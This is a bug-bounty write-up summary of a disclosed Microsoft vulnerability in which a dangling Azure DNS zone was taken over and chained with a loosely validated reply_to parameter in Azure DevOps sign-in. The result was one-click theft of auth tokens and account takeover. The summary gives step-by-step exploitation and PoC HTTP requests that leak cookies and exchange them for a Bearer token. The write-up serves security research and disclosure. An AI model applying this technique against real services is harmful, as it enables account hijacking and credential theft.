# Taking over Azure DevOps Accounts with 1 Click

Dangling Azure DNS zone for project-cascade.visualstudio.com allowed takeover, then loose reply_to in Azure DevOps signin leaked auth tokens for 1-click account takeover.

- Payout: $3,000
- Severity: high
- Program: Microsoft
- Write-up by: Assetnote
- Disclosed: 2024-01-31
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/taking-over-azure-devops-accounts-with-1-click
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-taking-over-azure-devops-accounts-with-1-click
- Tags: area:cloud domain:cloud impact:ato impact:data-leak kind:research platform:research sev:high tech:azure technique:chained technique:recon vuln:account-takeover vuln:auth-bypass vuln:subdomain-takeover

**Target:** Azure DNS zone and app.vssps.visualstudio.com _signin endpoint
**Root cause:** NS records for project-cascade.visualstudio.com pointed to Azure DNS but the zone was unregistered, allowing re-registration; the _signin reply_to accepted any *.visualstudio.com domain, so tokens were sent to the attacker-controlled subdomain.
**Steps:**
1. Enumerate subdomains; find project-cascade.visualstudio.com whose NS records point to Azure DNS but return REFUSED (`dig` on ns1-05.azure-dns.com etc.).
2. Register project-cascade.visualstudio.com as a DNS zone in an attacker-owned Azure account.
3. Create A record `arec.project-cascade.visualstudio.com` -> attacker host and TXT record to prove control.
4. Craft signin URL with `reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F` on `https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&redirect=1&context=...`.
5. Victim logs in (or is already logged in); browser POSTs `id_token`, `FedAuth`, `FedAuth1` to attacker's `arec.project-cascade.visualstudio.com/_signedin`.
6. Exchange stolen cookies via `POST /_apis/WebPlatformAuth/SessionToken` on app.vsaex.visualstudio.com with body `{"appId":"00000000-0000-0000-0000-000000000000","force":false,"tokenType":0,"namedTokenId":"Aex.Profile"}` to get a Bearer token.
7. Use Bearer token against app.vsaex.visualstudio.com/_apis/User/User and dev.azure.com to access the victim's account.
**How found:** Automated subdomain enumeration surfaced project-cascade.visualstudio.com; DNS lookups against its Azure NS servers returned REFUSED, indicating an unregistered zone. After takeover, they inspected the _signin flow and noticed reply_to was only loosely constrained to *.visualstudio.com, then tested pointing it at their controlled subdomain.
**Exploitation:** Attacker registers the dangling Azure DNS zone, hosts a listener on the A record, and sends the victim a crafted _signin URL with reply_to pointing at the attacker subdomain. After login the victim's browser POSTs id_token/FedAuth cookies to the attacker, who exchanges them for a Bearer token and accesses dev.azure.com resources as the victim.
**Escalation:** Chained subdomain takeover with a loose reply_to trust boundary to convert a low-impact dangling DNS zone into full Azure DevOps account takeover; also enabled MX capture and SSL cert issuance for fraud.
**Insight:** When a subdomain's NS records point to a cloud DNS provider but queries return REFUSED, the zone is claimable — and any auth flow that trusts 'any subdomain of X' for reply_to/redirect becomes exploitable once you own one such subdomain. Always check whether sibling subdomains are trusted by SSO endpoints before dismissing a takeover as low impact.

## Proof of concept (copied exactly from the original report)

**Malicious signin URL with reply_to pointing to taken-over subdomain**

```
https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90
```

**POST to attacker domain leaking id_token and FedAuth cookies**

```
POST /_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F HTTP/1.1
Host: arec.project-cascade.visualstudio.com
Content-Length: 4634
Referer: https://arec.vssps.visualstudio.com/_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F
Cookie: ...omitted for brevity...

id_token=<snip>&FedAuth=<snip>&FedAuth1=<snip>
```

**Exchange stolen token for Bearer via SessionToken API**

```
POST /_apis/WebPlatformAuth/SessionToken HTTP/1.1
Host: app.vsaex.visualstudio.com
Connection: close
Content-Length: 105
Origin: https://app.vsaex.visualstudio.com
X-VSS-ReauthenticationAction: Suppress
Content-Type: application/json
Accept: application/json;api-version=6.0-preview.1;excludeUrls=true
X-Requested-With: XMLHttpRequest
...omitted for brevity...
Cookie: UserAuthentication=<snipped id_token>; FedAuth=<snipped FedAuth>; FedAuth1=<snipped>

{"appId":"00000000-0000-0000-0000-000000000000","force":false,"tokenType":0,"namedTokenId":"Aex.Profile"}
```

